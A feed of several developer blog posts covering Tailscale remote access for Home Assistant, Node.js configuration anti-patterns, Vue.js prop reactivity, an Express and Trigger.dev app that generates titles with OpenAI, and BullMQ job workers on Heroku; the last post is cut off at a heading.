To manage your smart home, Home Assistant comes with a web-based application that can be accessed using a browser and allows access to various configuration, dashboard and controls. There’s also a native mobile app available for Android and iOS. However, to access Home Assistant remotely, you need to open it up to the Internet to be able to access it from outside your home network (your local Wi-Fi network).

To securely access Home Assistant remotely, one way is to employ a VPN (Virtual Private Network) to connect to your home network and then access Home Assistant. This is a secure way to access Home Assistant remotely and is the recommended way to do so.

Home Assistant and Tailscale VPN

We’ll use Tailscale as a remote access VPN application that essentially establishes network connectivity between your mobile device and the Home Assistant installation. As such, this guide is going to focus on these two-parts:

Install Tailscale on Home Assistant
Install Tailscale on your mobile device

What is Tailscale?

Tailscale is a mesh VPN service that makes it easy to connect your devices, wherever they are. It is a VPN (Virtual Private Network) that works like a single sign-on for your devices. It is a zero-config VPN that works on any device, behind any firewall. The free tier is generous and is a great way to get started with Tailscale VPN for your smart home.

Install Tailscale on Home Assistant

In the Home Assistant web interface, go to Settings and then Add-ons. Click the ADD-ON STORE button to view all Add-ons available from both official and community sources, and then search for Tailscale. Click on the Tailscale add-on and then click the INSTALL button to install the add-on.

Once the add-on is installed, toggle on the Start on boot, Watchdog, and Auto-update options. Then click on the START button to start the add-on.

Once the add-on is started, click on the OPEN WEB UI button to open the Tailscale web interface. Continue to login with your Tailscale account until you’re greeted with connecting a device to your Tailscale network.

Once you’ve approved the connection you’ll receive a confirmation message that the device is connected to your Tailscale network: Login successful Your device homeassistant is logged in to the Tailscale network.

Install the Tailscale VPN client on your mobile device (Android)

Tailscale makes it easy to deploy from multiple endpoints such as Linux, macOS or Windows but to access Home Assistant on the road, you’d want to install the Tailscale VPN client on your mobile device.

Head over to the Tailscale download page and download the Tailscale VPN client for your mobile device. In fact, the previous step of connecting your Home Assistant instance to your Tailscale network should’ve redirected you to the download page:

Upon successful installation, sign-in you should be able to see a successful VPN connection between your Home Assistant instance and the mobile device as well as test the connection through a ping command you can execute from the Home Assistant instance:

Connecting the Home Assistant instance to a remote Tailscale device

What we’ve done so far, is successfully establishing a network between the operating system running the Home Assistant node, to any remote clients.

What’s needed next, is to specifically forward routes of the home network which the Home Assistance node is running on (for example, your 192.168.0.0/24 local network) so that the endpoint device can access the Home Assistant instance.

This configuration is needed so that when opening the Home Assistance mobile device to connect to the Home Assistance web interface over an IP such as 192.168.1.0, this routing enables HTTP requests through the Tailscale VPN network that determinate on the Home Assistance node on which the Tailscale VPN is running on:

Stay safe and secure ❤️

Environment variables and configuration anti patterns in Node.js applications

Sun, 01 Oct 2023 00:00:00 GMT

Crafting robust and maintainable applications is no small feat. One of the fundamental pillars of building reliable Node.js applications is effective configuration management.

Configuration encompasses a wide array of parameters, from database connection details to API keys, and even application-specific settings. Regardless of the size or complexity of your Node.js project, you’ll inevitably encounter the challenge of handling configuration data.

In this blog post, we’re going to delve deep into the world of configuration patterns for Node.js applications. We’ll explore the various strategies and tools at your disposal to efficiently manage configuration data. Whether you’re a seasoned Node.js developer looking to refine your practices or a newcomer eager to learn, this post will equip you with the knowledge you need to make informed decisions regarding your application’s configuration.

Why managing configuration for Node.js application is crucial?

Before we dive into the intricacies of different configuration patterns, let’s take a moment to understand why configuration management is so crucial in Node.js applications.

Imagine building a Node.js application without a clear and organized way to handle configuration. You’d likely end up hardcoding sensitive information like API keys directly into your codebase (oh no! 😳), scattering configuration values throughout your application files (maintainability is 😭), and making it nearly impossible to adapt to different environments seamlessly.

Pillars of effective and robust configuration management

What makes a maintainable, scalable, and secure configuration management in Node.js applications? Here are some of the key pillars to consider that most often I see developers overlook:

Doesn’t impede security: Storing sensitive information like database credentials and API keys securely is paramount. Without proper configuration practices, your application could be susceptible to data breaches.
Promotes deployment portability: Your application should run consistently across various environments, such as development, testing, and production. Good patterns of configuration management do not couple your environments to your application or to your configuration. Instead, it allows your application to transparently and seamlessly deploy to different environments, unaware of the differences between them.
Simplifies maintenance: As your application evolves, so do its configuration requirements. Having a robust configuration management system in place makes it easier to make changes and updates without rewriting large sections of code or accessing ad-hoc configuration files or environment variables.

How to load configuration in Node.js applications?

Now that we’ve highlighted the importance of configuration management, let’s review the various configuration patterns available for Node.js applications.

You might have heard about some common approaches like using .env files or popular packages like dotenv, convict, and env-schema. We’ll explore these options in detail.

The following depicts some of the possible ways to load configuration in Node.js applications, ordered from the least effective to the most robust configuration management traits:

A config.json file
Direct use of environment variables
Typed configuration
Validated configuration

Concerns with the use of configuration files, such as `config.json`

Generally speaking, using a dedicated configuration file to load configuration, a la config.json, doesn’t necessarily mean that you’re missing out on some of the traits we’ve listed above. For example, you can still bake type safety and validation into your configuration file if you’re using it as a JavaScript module (config.js) instead of a JSON file (config.json). Or, maybe you have another step in your configuration loading process that adds type safety and validation.

However, most often one of the anti-patterns I’ve noticed is that developers tend to hardcode configuration data directly into their source code, which is a big no-no. Another disaster is that deployment environments proliferate into your configuration file. Does this look familiar?

├── config/
│    └── config.dev.json
│    └── config.staging.json
│    └── config.qa.json
│    └── config.prod.json

This is a maintenance nightmare. You’ll end up with a lot of duplicated configuration data, and it’s hard to know what configuration was used for a given deployment. You also tightly couple your deployed environment types to your application, which is not ideal.

Information security is another concern with configuration files. If they are committed to the source code repository, it only takes one mistake in misconfigured web servers or path traversal vulnerabilities, to expose sensitive information like database credentials and API keys. Here’s a timely reminder from Noor AlHomaid on X:

Always include (.yml) files in your recon #HappyHacking #cybersecurite #infosec #ethicalhacking pic.x.com/SpSfyoLXEm
— نُور الحميد (@AlHomaidNoor) October 2, 2023

Concerns with `.env` files:

On first look, .env files may seem to suffer from similar issues as config.json files - a specific file used per environment and so on. However, most notable to recognize about .env files is:

They aren’t committed to the Git repository, hence they are not versioned and aren’t tightly coupled to your application’s code. The hint is in the name, .env use a leading dot to indicate that they a special case of files.
They are most often used as a generic .env file that is populated with environment variables and is mostly relevant for production use, and a .env.local file to refer to configuration needed for local development environment variables.

That said, they are still prone to the same issues as config.json files:

It’s easy to hardcode configuration data directly into your source code
It’s easy to copy your deployment environments into several .env files
It’s easy to make the mistake of committing the .env file to your Git repository, which is a security risk
They are not inherently type safe
They are not inherently validated

ASIDE Is it an advantage or disadvantage that .env files aren’t versioned in source control?

One could argue to the issue of perpetuating configuration drift. For example, .env files are most often not versioned via Git, so that secrets are not leaked, which is a good thing. But this means that the configuration is not versioned either, and it’s hard to know what configuration was used for a given deployment.

Developers will also be concerned that because .env files aren’t committed to the Git repository, then new configuration options aren’t easily discoverable. This can lead to configuration drift, where different environments have different configuration options.

Concerns with `dotenv`

Needless to say, the dotenv npm package is a popular choice for loading configuration from .env files. It’s a simple and lightweight package that’s easy to use.

Some of my reservations as noted above are relevant to dotenv too, but specifically I want to call out a security concern with dotenv that I’ve seen developers overlook: basing configuration on process.env as a first-class citizen in a Node.js pattern.

Let’s explain what this means with a simple dotenv use case:

const dotenv = require('dotenv');
const result = dotenv.config()

console.log('env vars:');
console.log(process.env);

When you run this code, the dotenv package will load configuration data from the local .env file into the process.env object. This means that you can access the configuration data via process.env anywhere in your application.

Developers following this pattern will often use process.env as a first-class citizen in their application, from which they draw configuration items:

const db = require('./db')
const dotenv = require('dotenv');
const result = dotenv.config()

db.connect(process.env.DB_URL);

The security risk that is inherent here is:

You may inadvertently expose sensitive information like database credentials and API keys as part of error messages, stack traces, and other forms of data returned to consuming clients.
You may inadvertently expose sensitive information like database credentials and API keys in your application’s logs.

4 Node.js configuration anti-patterns

What are some common anti-patterns or practices that you should avoid when handling configuration in Node.js applications?

These anti-patterns may seem tempting at times but can lead to maintenance nightmares, security vulnerabilities, and overall codebase chaos.

1. Hard-coding configuration data

One of the most prevalent anti-patterns is hardcoding configuration data directly into your source code.

It sounds so naive that you might be wondering why anyone would ever do this, but more often than not, it’s a common “quick fix” that developers resort to when they’re in a hurry.

While hardcoding configuration data may appear convenient for quick development, it has several downsides ranging from security risks of exposing sensitive information in the codebase to inflexibility and poor maintainability.

Node.js configuration anti-pattern to avoid, demonstrating hardcoded configuration data in the codebase:

const express = require('express');
const mongoose = require('mongoose');

const app = express();

// Anti-Pattern: Hardcoded configuration data
const dbUsername = 'your_db_username';
const dbPassword = 'your_db_password';
const dbHost = 'localhost';
const dbPort = '27017';
const dbName = 'your_database_name';

// Establish a database connection
mongoose.connect(`mongodb://${dbUsername}:${dbPassword}@${dbHost}:${dbPort}/${dbName}`, {
  useNewUrlParser: true,
  useUnifiedTopology: true,
});

const db = mongoose.connection;

app.get('/', (req, res) => {
  res.send('Hello World');
});

// Anti-Pattern: Hardcoded configuration data
app.listen(3000, () => {
  console.log(`Server is running on port ${3000}`);
});

In this code, the database credentials (i.e., dbPassword) are hardcoded directly into the codebase. The HTTP web server port of 3000 is also hardcoded.

2. Scattered configuration data

Another common pitfall is scattering configuration data across multiple files or modules within your application.

This haphazard approach can result in maintenance nightmares as you hunt down which part of your application is responsible for a particular configuration. It also makes it difficult to update configuration values when they’re spread across different parts of your codebase.

To add insult to injury, inconsistencies may arise when different parts of your application use different values for the same configuration parameter. Also, good luck debugging!

Spreading env variable usage across all your source files (or dependencies) is a recipe for an unmaintainable codebase.
— Matteo Collina (@matteocollina) August 16, 2023

Node.js configuration anti-pattern to avoid, demonstrating scattered configuration data across multiple files:

// 
// FILE: server.js
// 
const express = require('express');
const app = express();

// Anti-Pattern: Scattered configuration data
const port = 3000;

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

//
// FILE: database.js
// 
const mongoose = require('mongoose');

// Anti-Pattern: Scattered configuration data
const dbUsername = 'your_db_username';
const dbPassword = 'your_db_password';
const dbHost = 'localhost';
const dbPort = '27017';
const dbName = 'your_database_name';

mongoose.connect(`mongodb://${dbUsername}:${dbPassword}@${dbHost}:${dbPort}/${dbName}`, {
  useNewUrlParser: true,
  useUnifiedTopology: true,
});

//
// FILE: routes.js
//
const express = require('express');
const router = express.Router();

// Anti-Pattern: Scattered configuration data
const apiBaseUrl = process.env.API_BASE_URL;
const apiToken = process.env.API_TOKEN;

router.get('/data', (req, res) => {
  // Make a request to an external API using the scattered configuration data
  // ...
});

module.exports = router;

You’ll notice that a variation of this anti-pattern is when scattered configuration data is accessed via environment variables such as process.env.API_BASE_URL through-out the codebase.

While environment variables are a viable option for configuration management, they can quickly become unwieldy when used in this manner.

3. Environment-dependent configurations

Manually switching between different configuration settings based on the environment (e.g., development, staging, production) is another anti-pattern. This involves writing conditional code blocks to handle different settings, which can lead to:

Human error: Mistakes can happen, and you might forget to switch the environment, potentially leading to data corruption or other issues.
Code complexity: Your codebase can quickly become cluttered with environment-specific logic, making it harder to understand and maintain.

Node.js configuration anti-pattern to avoid, demonstrating environment-dependent configurations

const express = require('express');
const app = express();

let dbUrl;

// Anti-Pattern: Environment-dependent configurations
if (process.env.NODE_ENV === 'development') {
  dbUrl = 'mongodb://localhost:27017/dev_database';
} else if (process.env.NODE_ENV === 'production') {
  dbUrl = 'mongodb://dbserver.prod:27017/prod_database';
} else {
  dbUrl = 'mongodb://localhost:27017/test_database';
}

app.get('/', (req, res) => {
  // Use the dbUrl based on the environment
  // ...
});

const PORT = process.env.PORT || 3000;

app.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`);
});

Another variation of this pattern is when different configuration files are used for different environments, such as config.staging.json, config.dev.json, and so on. This practice can lead to code duplication and maintenance challenges.

Consider the following directory structure:

- config
  - config.dev.json
  - config.staging.json
  - config.prod.json
- server.js

In this directory structure, there are separate configuration files for different environments.

The config/config.dev.json file:

{
  "dbUrl": "mongodb://localhost:27017/dev_database",
  "apiBaseUrl": "http://localhost:3000/dev"
}

And here’s what the config/config.staging.json file might look like:

{
  "dbUrl": "mongodb://dbserver.staging:27017/staging_database",
  "apiBaseUrl": "http://localhost:3000/staging"
}

Then, a Node.js application might load it’s environment-specific configuration data as follows, demonstrating this anti-pattern:

const express = require('express');
const app = express();

const environment = process.env.NODE_ENV || 'development';
const config = require(`./config/config.${environment}.json`);

app.get('/', (req, res) => {
  // Use configuration values from the loaded config file
  const dbUrl = config.dbUrl;
  const apiBaseUrl = config.apiBaseUrl;

  // ...
});

const PORT = process.env.PORT || 3000;

app.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`);
});

In fact, even the official dotenv package mentions this anti pattern as part of the README:

Should I have multiple .env files? No. We strongly recommend against having a “main” .env file and an “environment” .env file like .env.test. Your config should vary between deploys, and you should not be sharing values between environments.

4. Non-Asynchronous configuration loading

Another common anti-pattern I see often repeating in how configuration libraries on npm work is that they are solely based on a synchronous API.

In practice, this means that the configuration is treated as “local” and loading configuration data synchronously becomes a problem when you need to fetch configuration from a remote source, such as a database or an API. For example, you might want to load your secrets from a KMS (Key Management Service) or a secrets manager like HashiCorp Vault.

Sure, you can load your synchronous config first, and then have further asynchronous function calls and then wrap it all in a configuration manager factory, however most developers don’t do this to begin with because they are hard-wired to follow synchronous configuration loading due to npm packages built that way.

Here are a few examples of how common this non-asynchronous configuration loading anti-pattern is, demonstrating node-config, dotenv, and convict as some examples:

// Example: node-config (https://www.npmjs.com/package/config)
const config = require('config');
//...
const dbConfig = config.get('Customer.dbConfig');
db.connect(dbConfig, ...);

WARNING

The node-config project is actually making use of the config npm package name. The node-config npm package is something else entirely.

// Example: dotenv (https://www.npmjs.com/package/dotenv)

require('dotenv').config()
console.log(process.env)

How to load configuration from environment variables in Node.js ?

One last and closing section on configuration patterns in Node.js is loading configuration from environment variables.

Through-out this article we’ve mentioned numerous open-source npm packages dedicated to managing a Node.js configuration in various ways:

Yet, if you haven’t been following the latest Node.js 20 feature enhancements, then you might not be aware that Node.js now has built-in support for loading configuration from environment variables:

node --env-file=.env server.js

This new environment variables loading feature was introduced in Node.js v20.6.0 and allows you to specify an INI-compatible file format that is commonly used through-out other libraries and tools:

PORT=3000
DB_URL=mongodb://localhost:27017/dev_database

Once the Node.js application starts, the PORT and DB_URL environment variables defined in the .env file will be available to the application via: process.env.PORT and process.env.DB_URL.

In fact, if you need to pass NODE_OPTIONS configuration then you can now include that in your .env file too and Node.js will automatically pick it up:

NODE_OPTIONS=--max-old-space-size=4096
PORT=3000

This feature was added by Yagiz Nizipli

Appreciate open-source developers ♥️

How do we manage configuration in Node.js applications?

My goal in this write-up was specifically about raising awareness of anti-patterns, security and maintainability issues that are common when handling configuration in Node.js applications.

Friends have also shared other perspectives relating to configuration management in Node.js applications, such as Colin Ihrig’s blog post on NODE_ENV Considered Harmful and Shai Yallin’s dotenv considered harmful walk-through, which I recommend your read too for further perspectives.

So, how do we do better?

Read-up in my follow-up article Best Practices for Bootstrapping a Node.js Application Configuration.

Vue.js Patterns: Using Vue.js 3 Composition API for Reactive Parent to Child Communication

Wed, 13 Sep 2023 00:00:00 GMT

Here’s the use-case: A parent Vue.js component needs to pass data to a child component. It does so using Props. The child component needs to receive this external data as its initial state, but also be able to mutate it internally, e.g: binding two-way data for a text input element.

The limitation we face while implementing that are as follows:

A prop is designed to be immutable. The child component shouldn’t mutate the data it receives from the parent component.
Refs are mutable and allow you to set initial data such as const content = ref(props.content), but depending how you use them, could end up as a pitfall.

What is the issue with using Vue.js’s `Ref`s?

Refs are part of the Vue.js reactivity system. They are used to create reactive data and they are a proper building block of the Vue.js 3 Composition API.

However, the way you might be using them, per most of the guides I’ve seen, is not going to be helpful with defined use-case.

Consider the following code of a parent component:

<template>
  <child-component :content="content"></child-component>
</template>

In the child component, you might be looking at using refs by binding them to an initial value that originates from the parent component’s props like so:

<script setup>
import { ref } from 'vue';

defineProps({
  content: {
    type: String,
    default: ''
  }
});

const content = ref(props.content);
</script>

This is a valid code and will technically work but you’d have to be aware of Vue.js’s lifecycle hooks to understand why it’s not the best approach.

In this component setup convention, the ref() call would only be ever called once - when the component is mounted. This means that if the parent component changes the content prop, the child component will not be aware of that change.

How to use `Ref`s properly? `watch()` to the rescue!

The solution to this problem is to use the watch() function, or its smarter sibling: watchEffect(). Like Refs, the watch functions are a part of the Vue.js reactivity system and allow you to watch for changes in a reactive object changes, regardless of the component’s lifecycle hooks.

Following is a complete code example.

We’ll show how to to pass default, initial values, from a parent component to a child component and set these as values using Vuetify 3 and Vue Composition API, while also enabling two-way binding.

The parent component is defined as follows, with a content prop that is passed to the child component and may be dynamically changed from the parent component based on its own state:

<template>
  <child-component :content="content"></child-component>
</template>

In the child component, we’ll define a text input element that will be bound to a content ref with Vue.js’s own v-model directive. This will allow us to mutate the value of the content ref from the child component, which achieves the two-way binding we’re looking for.

Also allowing the parent component to change the value of the content prop, which will be reflected in the child component.

<template>
    <v-text-field v-model="content" />
</template>

<script setup>
import { ref } from 'vue';

defineProps({
  content: {
    type: String,
    default: ''
  }
});

const content = ref(props.content);
</script>

To allow the child component to be aware of changes in the props passed to it we’ll use the watchEffect() function to watch for changes in the content prop. This will allow us to update the value of the content ref, which will be reflected in the child component.

Add the following code to the child component in the global scope next to the content variable definition:

<script setup>
import { watch } from 'vue';


watch(
  () => props.content,
  () => { content.value = props.content }
);
</script>

Let’s explain what is going on here with the watch() function.

The watch function you see here is part of Vue’s Composition API. Its purpose is to observe and react to changes on a specific reactive source. It could be a simple reactive reference (like a ref), or it could be a function that returns a reactive source.

Here’s how it works:

() => props.content: This is called the “source” function. It should return the value that you want to watch. In this case, it’s the content value passed from the props.
() => { content.value = props.content }: This is the callback function that gets executed when the source changes. In this case, it assigned the props.content value to the content ref.

You may also pass an additional 3rd argument options object such as { immediate: true } which means the callback should be run immediately after the watch gets created, even before the source has changed. This is useful for cases where you want the callback to run initially when setting up the watch.

We can instead use the watchEffect() function is a less verbose way to achieve the same result. The watchEffect() function will be called every time the content prop hydrates, and will update the value of the content ref, which will be reflected in the child component.

<script setup>
import { watchEffect } from 'vue';

 watchEffect(() => {
  content.value = props.content;
});
</script>

Bonus: using this pattern without the `setup` syntactic sugar

Here’s a generic re-write to the above, but without using the setup script convention, demonstrating how our use-case can be achieved using Vue 3’s Composition API:

import { ref, watchEffect } from 'vue';

export default {
  props: {
    initialData: {
      type: Array, // change this based on your data type
      default: () => ([]), // provide a default value
    },
  },
  setup(props) {
    // Make a local copy of the received prop
    const data = ref([...props.initialData]);

    // Update local data whenever the prop changes
    watchEffect(() => {
      data.value = [...props.initialData];
    });

    // Now you can manipulate `data` within your component

    return {
      data
    };
  }
};

In this example, initialData is a prop passed from the parent component. The data reactive variable is a local copy of initialData. The watchEffect function is used to update data whenever initialData changes, ensuring data always starts with the current value of initialData.

Since data is a local copy, it can be freely mutated inside the child component without affecting the prop’s value in the parent component.

Generating presentation titles using OpenAI background jobs with Node.js, Express and Trigger.dev

Mon, 04 Sep 2023 00:00:00 GMT

In this article, you’ll learn how to use OpenAI background jobs with Node.js, Express, and Trigger.dev to generate creative presentation titles automatically. We’re going to build this cool app with the help of LLMs and Generative AI:

Introduction to background job processing in Node.js

Background job processing is a technique for running tasks that can take a long time to complete in a separate process from the main application server. This allows the main application server to continue to handle requests from users while the background jobs are running.

There are many reasons why you might want to use background job processing in your Node.js application. For example, you might use it to:

Process large files or images via Upstash
Send email or SMS messages via Twilio
Query OpenAI for ChatGPT style interactions

Trigger.dev is an open source project as well as a hosted SaaS platform that is specially-designed (at this point in time) to process short-lived background jobs executed via serverless functions.

Trigger.dev is thus somewhat different in use-cases and applicability to alternative approaches to background job processing in Node.js that you might be familiar with such as messages queues managed via BullMQ and Redis, or RabbitMQ. The best approach for you will depend on your specific needs and requirements. In this article, we’re focusing on setting up Trigger.dev with an Express application to provide a rudimentary ChatGPT-like interface powered by the OpenAI APIs.

About Trigger.dev

Trigger.dev is an open-source platform for creating short-lived jobs directly in your Next.js app with API Integrations, webhooks, scheduling and delays. Trigger.dev uses a serverless functions model the job. This is a compelling use-case because serverless functions are:

Scalable: Serverless functions can be scaled up or down automatically to meet demand, so you don’t have to worry about managing your own infrastructure. This means you can easily re-use the same platform you use for hosting your frontend or fullstack apps: Vercel and Netlify.
Cost-effective: Serverless functions are only charged when they are running, so you only pay for the resources you use.

I believe the highest value you get from using Trigger.dev is that it allows you to colocate your background job worker with the rest of your application domain, and perhaps more conveniently, it removes any requirements for dedicated hosting because it makes it trivial to use serverless functions for the job processing just as if it was any other API request that you had to serve from your Vercel or Netlify hosting.

Getting started with a Trigger.dev account

We are going to use the SaaS version of Trigger.dev so we can skip setting up a local instance in our own infrastructure of Trigger.dev.

So, first head over to www.trigger.dev and create a new account, and setup a new organization and project in which our jobs will be scheduled.

Then click into the project details you created and head over to the Environment & API Keys to get a copy of the API key. We’re going to use the Dev Environment API key so keep a copy of it handy.

Setting up an Express project with Trigger.dev

I am going to review the parts of the Trigger.dev integration that build into a working Express application in Node.js, all of which is based on a fully functional frontend and backend reference example in a GitHub repository Trigger.dev Express example.

Our Express application is a full stack app that generates titles using OpenAI API. The project structure provides the following:

A frontend built with vanilla JavaScript. No frameworks or libraries, which helps keep the complexity down and understand easily.
- An Express own middleware (express.static()) is used to serve the HTML, CSS and JavaScript via the public/ directory.
A backend API that defines the following:
- A POST endpoint at /api/trigger that is reserved to communicate with the Trigger.dev platform
- A POST endpoint at /api/titles that accepts a presentation description and then triggers an event (schedules a background job) to generate a title using the OpenAI API.
- A GET endpoint at /api/titles that returns the generated title text when the OpenAI API finished processing.
A .env file that stores the OpenAI and Trigger.dev API keys. The .env file is ignored in the git workspace, so you can rename the .env.sample reference as a starting point.

Clone the Git repository

Clone the Git repository of the Express app from: https://github.com/lirantal/trigger.dev-express-example-integration

git clone https://github.com/lirantal/trigger.dev-express-example-integration

Install dependencies

Make sure you change directory to the cloned git repository: cd trigger.dev-express-example-integration and install dependencies:

npm install

Populate API keys in `.env`

Update the .env file with your OpenAI and Trigger.dev API keys:

PORT=3000
TRIGGER_API_KEY=tr_dev_1234
OPENAI_API_KEY=sk-1234

Note: if you need to use a different port than the default ‘3000’ than you’ll also need to tweak the npm run trigger:dev run-script command start the tunnel with a different local port binding

The Trigger.dev Express integration walk-through

If you’re all too excited you can skip to the next section to start the server locally (totally understandable!), or if you have some patience and want to learn how the Express integration of Trigger.dev works then keep reading.

We start off by importing all the required dependencies: dotenv to load the environment variables from .env. and make it available in process.env. Load the Express library, and the Trigger.dev SDKs and integrations.

const dotenv = require("dotenv");
const express = require("express");
const { TriggerClient, eventTrigger } = require("@trigger.dev/sdk");
const { createMiddleware } = require("@trigger.dev/express");
const { OpenAI } = require("@trigger.dev/openai");

let titleGeneratedText = null;

dotenv.config();

You’ll notice that we keep a variable titleGeneratedText to hold the generated title value. By now you’ve realized how naive this application is since it manages no real state or storage.

Notice how we don’t import the official OpenAI SDK and that’s because the Trigger.dev integration is going to handle that for us (it basically mirrors the API and makes it easier to schedule long-running IO jobs like OpenAI requests in which the job worker mostly idles until a response is returned).

Next up we instantiate the Express server setup while making sure we also enable the JSON body parser and URL Encoding middleware functions:

const port = process.env.PORT || 3000;
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

Let’s get the Trigger.dev and OpenAI APIs ready:

// Instantiate the Trigger.dev client
const client = new TriggerClient({
  id: "trigger-express-example-integration",
  apiKey: process.env.TRIGGER_API_KEY,
});

app.use(createMiddleware(client));

// Instantiate the OpenAI integration for Trigger.dev
const openai = new OpenAI({
  id: "openai",
  apiKey: process.env.OPENAI_API_KEY,
});

The createMiddleware(client) function is imported from the official Trigger.dev Express package and registers a handler on the /api/trigger route. This API endpoint has to be reserved for the Trigger.dev integration to work.

Next up, we define a job to handle title generation requests.

In Trigger.dev, a defined job is composed of the following details:

A job’s description: an identifier, name, and version. Notice that the version key is required and has to be semver-compatible.
A trigger key which defines how this job is triggered. In our case, it’s an event that we call from our own code using the Trigger.dev SDK. We give it a name title.generate.
Any integrations that would be available to the background job work. In this case, openai which refers to the instantiated OpenAI integration from Trigger.dev.
The background job worker defined in the run key as an async function accepting: payload, and io variables.

// Defines a new background job
client.defineJob({
  // 1. Job Metadata
  id: "express-title-generator",
  name: "Express Title Generator",
  version: "1.0.0",
  // 2. Trigger is defined as a custom code-triggered event
  trigger: eventTrigger({
    name: "title.generate",
  }),
  integrations: {
    openai,
  },
  // 3. The Run function which is called when the job is triggered
  run: async (payload, io) => {
    // This simple run just logs the payload and returns it
    const result = await io.openai.backgroundCreateChatCompletion(
      "Generating summary",
      {
        model: "gpt-3.5-turbo-16k",
        messages: [
          {
            role: "user",
            content: `The following is a description of a presentation, often submitted to call for papers to speak at events. Only reply with a title that would best fit this description: ${payload.talkDescriptionText}`,
          },
        ],
      }
    );

    if (!result.choices || !result.choices[0] || !result.choices[0].message) {
      io.logger.error("Failed to process OpenAI request");
      return;
    }

    const title = result.choices[0].message.content;
    titleGeneratedText = title;

    return { titleGeneratedText };
  },
});

The background job worker uses the OpenAI integration via io.openai and calls the unique-to-triggerdev function called backgroundCreateChatCompletion which is responsible to schedule the OpenAI request to the familiar chatCompletion API from OpenAI - but specifically, it runs this IO request on Trigger.dev’s own infrastructure. This is needed because short-lived serverless functions like those on Heroku, Vercel or Netlify are limited in their overall execution time. So for example, a function on Vercel is limited to 10 seconds and if you had used the OpenAI SDK directly in this job and it had taken 10 seconds or more, then Vercel will simply terminate the function and thus failing the job processing.

The rest of the background job worker here is straight-forward in its use of the OpenAI API and concludes with updating the global variable titleGeneratedText with the generated text.

I’m again reminding you that this is by no means any close to production code with mutating global variables like this so do not follow this in production or remotely demonstrate-able work that is beyond a learning practice otherwise you’re bound to run into problems (racing conditions, etc)

Finally, we have the API endpoints to trigger title generation and check on title data readiness:

app.get("/api/titles", async (req, res, next) => {
  return res.json({ title: titleGeneratedText });
});

app.post("/api/titles", async (req, res, next) => {
  await client.sendEvent({
    name: "title.generate",
    payload: { talkDescriptionText: req.body.talkDescriptionText },
  });

  return res.json({ message: "new job added to queue" });
});

Running the example Express, OpenAI and Trigger.dev application

To have a functional application of our OpenAI generated presentation title application we need to simultaneously execute two commands:

npm run start - start the Express application (remember, it hosts both the backend and the frontend, so this is all that is needed for the app) on localhost.
npm run trigger:dev - spawns a tunnel so that the Trigger.dev platform can communicate with the locally running Express app on localhost

Note that if you make any changes to the application identifier under which you registered the Trigger.dev SDK you also need to update the trigger.dev section and the endpointId key in the package.json file accordingly.

Have fun!

How to Process Scheduled Queue Jobs in Node.js with BullMQ and Redis on Heroku

Thu, 17 Aug 2023 00:00:00 GMT

There are many reasons why you might want to use background job processing in your Node.js server application. For example, you might use it to:

Process large files or images
Send email or SMS messages
Run batch jobs
Perform complex calculations
Schedule tasks to run at a later time

There are a number of different ways to implement background job processing in Node.js. One popular approach is to use a message queue. A message queue is a first-in-first-out (FIFO) system that allows you to send messages between different processes. When you want to run a background job, you can add a message to the queue. The message will then be processed by a separate worker process, which is a process that is dedicated to running background jobs.

In this article, I will share how to use the BullMQ npm package together with a Redis server to implement background job processing in Node.js. I’ll also cover how to deploy your background job application to Heroku.

Requirements for this tutorial

To get started, you will need to have the following installed:

Node.js
Redis
The Bull and Redis libraries
The Heroku CLI

Once you have these installed, you can follow the instructions in this article to create your background job application.

Quick introduction to Heroku

You’re welcome to skip if you already know or use Heroku.

Heroku is a cloud platform that makes it easy to deploy and scale web applications. It provides a number of features that make it ideal for deploying background job applications, including:

Automatic scaling: Heroku will automatically scale your application up or down based on demand, so you don’t have to worry about managing your own infrastructure.
Managed services: Heroku provides a number of managed services, such as Redis and Postgres, so you don’t have to worry about provisioning and managing these services yourself.

To get started with Heroku, you will need to create an account and install the Heroku CLI. Once you have done that, you can create a new Heroku app and deploy your application to it.

The benefit of using Heroku for background job processing is that it is easily scalable, naturally fits long-running processes, and makes it easy to colocate your background job application with your main application server.

Quick introduction to BullMQ and Redis

BullMQ is a message queue library for Node.js. It allows you to send and receive messages between different processes. Redis is an in-memory data store that BullMQ uses as a message queue.

BullMQ and Redis work together to provide a reliable and scalable way to process background jobs. BullMQ handles the queuing and routing of messages, while Redis stores the messages and provides a high-performance, consistent way to access them.

Some key features of BullMQ include:

Supports multiple queue types, including FIFO, LIFO, and priority queues.
Allows you to schedule jobs to run at a later time.
Supports retries for failed jobs.
Supports rate-limiting for jobs.

Setting up a Heroku application with Redis

To set up a Heroku application with Redis, you will need to:

Create a new Heroku app.
Provision a Redis instance.
Set up the Procfile for a new worker configuration.

Here are the commands you can use to do this:

heroku create my-app
heroku addons:create heroku-redis:hobby-dev
echo "worker: node worker.js" >> Procfile

The first command creates a new Heroku app named my-app. The second command provisions a Redis instance on the Hobby Dev plan. The third command creates the Heroku app infrastructure file Procfile, which tells Heroku to provision a background job processing resource and to run the node worker.js command for it.

The worker.js file is where you will put your code for processing background jobs. We’re getting to it next!

The BullMQ worker

The worker is the process that will consume work from the queue and run the background jobs. In Heroku, and generally speaking, it’s a separate Node.js runtime process and as such it is entirely unrelated in terms of deployment from that of your main web API Node.js runtime, if you have one.

It’s also generally considered to be a long-running process, meaning it will run indefinitely until it is stopped. If there’s no work, it simply idles. It will connect to the Redis instance and listen for jobs to be added to the queue. When a job is added to the queue, the worker will process the job and then mark it as complete.

Setting up the BullMQ worker

Setting up the BullMQ worker is as simple as creating a new file, worker.js, and adding the following code:

import { Worker } from "bullmq";

// Redis connection details
 const workerConnectionOptions = {
    host: import.meta.env.hostname,
    port: import.meta.env.port,
    password: import.meta.env.password,
};

// The following sets up the worker:
// 1. Connects to a queue named `uploaded_files_queue`
// 2. Runs the `workerJobHandler` function when a job is added to the queue
// 3. Creates a new worker instance that allows hooking to events in the worker lifecycle
const workerInstance = new Worker('uploaded_files_queue', workerJobHandler, {
    connection: workerConnectionOptions,
});

// The `workerJobHandler` function is the function that will be called
// when a job is added to the queue. It will receive the job as an argument.
// The job will contain the data that was added to the queue when the job
// was created.
async function workerJobHandler(job) {
    console.log(`handling job: [${job.id}]`);
    console.log({ jobName: job.name, jobId: job.id, data: job.data });

    // for example:
    // await processUploadedFile(job.data.fileId)
    return;
}

Acting on events in the worker lifecycle

